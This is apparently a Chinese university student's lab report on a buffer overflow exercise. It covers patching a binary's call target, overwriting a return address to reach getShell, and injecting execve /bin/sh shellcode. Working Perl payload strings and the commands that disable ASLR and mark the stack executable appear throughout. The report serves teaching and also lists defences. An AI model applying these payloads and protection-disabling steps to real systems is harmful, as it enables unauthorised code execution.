20222404 2024-2025-1 《网络与系统攻防技术》实验一实验报告

姓名:张嘉月
学号:20222404

实验日期:2024/09/29 — 2024/10/09

实验名称:缓冲区溢出和shellcode

指导教师:王志强

一、实验内容

  1. 任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 任务三:注入一个自己制作的shellcode并运行这段shellcode。
  4. 周学习内容:缓冲区溢出的相关定义介绍(包括安全漏洞,缓冲区,缓冲区溢出等);介绍了缓冲区溢出漏洞的发展历史,和历史上一些经典攻击;对编译器和调试器的使用进行初步介绍,讲解了部分命令行;了解汇编指令和其对应的不同类型汇编语言的表示方法;学习函数调用过程和堆栈出入的详细操作。
    更多实验原理标注在了实验过程中。

二、实验过程
(一)任务一:手工修改可执行文件,直接修改程序机器指令,改变程序执行流程

  • 下载目标文件pwn1,修改为学号作为标记后,反汇编(objdump)查看具体的函数和机器指令。如图:

其中,第一列为内存地址,第二列为机器指令、第三列为对应的汇编语言

  • 实验目的是直接跳转到getShell函数。重点关注以下代码(foo,getShell,main)

原理:
"call 8048491 "是指这条指令将调用位于地址8048491处的foo函数,即main函数调用foo,对应机器指令为“ e8 d7ffffff”。
e8为跳转的含义,按原本正常流程EIP存储为由80484b5下一步的80484ba,但因有e8,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
d7ffffff是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491,也就是foo函数的第一行。
因此,我们想让它调用getShell,只要使80484ba+修改值为804847d(gstShell的第一行),即修改“d7ffffff”为,"getShell-80484ba"对应的补码。
所以修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

具体操作:
复制一个pwn2,进入vi内进行操作。

  • 1.按ESC键

  • 2.输入:%!xxd,将显示模式切换为16进制模式

  • 3.查找要修改的内容
    /e8 d7(注意空格)

  • 4.修改d7为c3

  • 5.保存并退出

  • 6.反汇编pwn2文件,到80484b5处查找,会发现已经机器命令已经由d7改为c3,而汇编语言也显示“call getShell”,成功。

  • 7.可知getShell函数提示符为#,运行pwn2,如图,说明成功调用。

(二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    1. 反汇编查看程序,并进行分析。重点看getShell部分。
    1. 确认字符串可以覆盖的长度。进入gdb,输入“11111111222222223333333344444444555555556666666677777777”,使用info r进行查看。

      注意eip行的值,为0x35353535。
    1. 重新注入,这次输入“11111111222222223333333344444444555555556666666612345678”,同样适用info r进行查看。

      这个时候eip的值变为了0x34333231。即可确定,最后1234四个数会覆盖到堆栈上的返回地址。只要把这四个字符的位置对应替换为 getShell 的内存地址,输给pwn,pwn就会运行getShell。
    1. getShell的内存地址,通过反汇编时可以看到,即0804847d。不难发现,输入为1234,但真正覆盖时变为了0x34333231。可以推测字节顺序为\x7d\x84\x04\x08。
    1. 入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一个包含这些16进制内容的文件(\x0a表示回车);
    1. 使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn20222404将input中的字符串作为可执行文件的输入。

成功获取shell(11111111222222223333333344444444),即成功调用了getShell函数。BOF 注入攻击完成。

(三)任务三:注入一个自己制作的shellcode并运行这段shellcode。

    1. 输入以下代码调整状态。
      execstack -s pwn3 //设置堆栈可执行
      execstack -q pwn3 //查询文件的堆栈是否可执行
      more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
      echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
      more /proc/sys/kernel/randomize_va_space

    1. 构造要使用的payload
      原理:
      Linux下有两种基本构造攻击buf的方法:
      retaddr+nop+shellcode
      在这种方法中,攻击者利用缓冲区溢出,将恶意代码(shellcode)注入到栈上的缓冲区中。然后,通过覆盖函数返回地址(retaddr),将执行流转移到缓冲区中的恶意代码。为了增加攻击的成功性,攻击者通常在恶意代码前面添加一系列无操作指令(nop)或者填充无关数据,以确保恶意代码的正确执行。
      nop+shellcode+retaddr
      在这种方法中,攻击者同样将恶意代码注入到栈上的缓冲区中,然后通过覆盖函数返回地址(retaddr),将执行流转移到缓冲区中的恶意代码。与第一种方法不同的是,攻击者将恶意代码放在缓冲区的开头,而不是结尾,紧接着是一系列无操作指令(nop)。这样做的目的是为了增加攻击的成功性,避免恶意代码被覆盖或截断。

本次使用的结构为retaddr+nop+shellcode。使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn3的输入:
(cat input_shellcode; cat) | ./pwn3

!!!注意,这里输入(cat input_shellcode; cat) | ./pwn3后,按一下enter,然后打开一个新终端。

    1. 输入ps -ef | grep pwn3,查看文件的进程以及进程号

      这里第一个进程号"63189"对应于正在运行的名为"pwn3"的进程。第二个进程号"63436"对应于正在运行的名为"grep --color=auto pwn3"的进程,它是通过grep命令来查找包含字符串"pwn3"的进程。因此后续进程号按照“63189”来。
    1. 在新终端中使用gbd调试,输入命令attach 63189(刚刚查找的进程号);输入命令disassemble foo,反编译foo。
    1. 可以看到,ret的地址为0x080484ae,因此,在这里设置断点。输入命令break *0x080484ae
      在新终端输入c(这个命令会继续执行程序,直到达到设置的断点),继续运行后,在老终端按一下enter键。
      输入info r esp查看栈顶指针所在位置。这个命令用于查看当前栈顶指针(ESP)的值。栈顶指针指向栈的顶部,也就是最近插入栈的数据的位置。可知栈顶指针所在的位置为0xffffd3ec;
      使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。

因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd3ec+4=0xffffd3f0

    1. 进行shellcode的注入,将0x04030201换成上述计算出来的位置0xffffd3f0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn3

      成功!

三、问题及解决方案
(一)部分汇编指令

  1. NOP(No Operation)指令的机器码是 0x90。
  2. JNE(Jump if Not Equal)指令的机器码是 0x75,后面跟着一个相对偏移量。例如,JNE 0x10 的机器码表示为 0x7510。它会根据标志寄存器中的条件跳转到指定的代码位置,如果不相等则跳转。
  3. JE(Jump if Equal)指令的机器码是 0x74,后面跟着一个相对偏移量。例如,JE 0x10 的机器码表示为 0x7410。它会根据标志寄存器中的条件跳转到指定的代码位置,如果相等则跳转。
  4. JMP(Unconditional Jump)指令的机器码是 0xE9,后面跟着一个相对偏移量。例如,JMP 0x10 的机器码表示为 0xE910。它无条件地跳转到指定的代码位置。
  5. CMP(Compare)指令的机器码取决于操作数的大小和类型。例如,CMP AX, 0x42 的机器码表示为 0x3D 0x42 0x00(假设 AX 寄存器的大小是 16 位)。它会将 AX 寄存器的值与给定的值进行比较,设置条件码标志。

(二)问题回顾
1.在任务一中,查找要修改的内容/e8d7,查找不到的。
解决方法:经过观察,我发现要查找的位置e8和d7不是相连的,而是f0e8 d7ff,所以试着进行/e8 d7查找,成功。

2.任务三中,老师所给事例有一个坑。
解决方法:可以发现区别在于两种攻击方式,nop+shellcode+retaddr中攻击者将恶意代码放在缓冲区的开头,而不是结尾。导致在栈顶与代码发生了冲突。所以当改变方式为anything+retaddr+nops+shellcode时就可行了。

4.任务三中,新老终端操作需要注意顺序。第一次输入(cat input_shellcode; cat) | ./pwn3后,按了两次enter,导致新终端中输入命令只出现了root 63436 63217 0 23:27 pts/1 00:00:00 grep --color=auto pwn3,从而导致实验无法正常进行。
解决方法:经查得知"63436"对应于正在运行的名为"grep --color=auto pwn3"的进程,它是通过grep命令来查找包含字符串"pwn3"的进程。而实验中需要用到的是pwn3运行的进程号。所以按了一次enter后打开新终端。

5.任务三中首先进行了两个操作,于是进行了缓冲区溢出保护的相关查阅。以下:
缓冲区溢出(Buffer Overflow,简称Bof攻击)攻击者试图将超过缓冲区边界的数据写入到内存中,以执行恶意代码或修改程序。对此有以下相关保护措施。

  • 输入验证:对所有输入进行验证和过滤,确保输入数据的长度不会超出目标缓冲区的容量。
  • 使用安全函数:使用安全的函数替换不安全的函数,如使用strncpy替代strcpy、使用snprintf替代sprintf等。
  • 栈保护技术:例如使用栈保护/堆保护技术,如栈溢出保护(StackGuard)、装载预防(/GS)、堆栈保护(StackShield)等,以防止缓冲区溢出攻击。
  • ASLR:地址空间布局随机化(Address Space Layout Randomization)通过随机化系统内存布局,使得攻击者更难确定关键数据和代码的位置。
  • NX(No eXecute)位:使用硬件支持的内存保护功能,将数据区和堆栈标记为不可执行,以阻止攻击者在缓冲区溢出后执行恶意代码。
  • 编码指令检测:例如使用数据执行防护(DEP)技术,禁止执行堆栈、数据或堆中的非执行指令。
  • 内存检查工具:使用内存检查工具来检测程序运行时的内存访问错误,例如使用内存检测工具Valgrind。
  • 安全编程实践:编写安全的代码,包括正确使用内存操作函数、正确的输入验证、避免使用不受信任的输入来进行内存操作等。
    而本次实验中为了实现缓冲区攻击,便是关掉了其中的栈保护和地址随机化。

四、学习感悟、思考
本次实验我参考老师所给资料,积极与同学进行相关交流,理清了缓冲区攻击的思路,也第一次对机器码进行了操作,感觉很奇妙。
实验过程出现了不少插曲,比如做了一半发现忘改主机名,假期前做完了任务一二,回来后想做任务三却忘记了账号密码……于是上网搜索学习了如何重置密码,也算意外收获些新内容。总结就是虽然看起来困难很多、不了解的知识很多,但实际上只要动手去敲,去搜集信息,去汲取知识,就会发现其实问题没有那么复杂。结合课上所学自己消化理解会有收获。
以及当初看老师所提供的资料,那句“这是个坑”出来的时候真是眼前一黑……还好问题不算复杂,明白了就可以解决。不过参考中给的按排次向上试探寻找的方法感觉略有绕弯。参考同学的方式采用了栈顶指针,感觉很神奇。条条大路通罗马。

posted @ 2024-10-11 01:18  前方传来浪涛呼喊声  阅读(23)  评论(0编辑  收藏  举报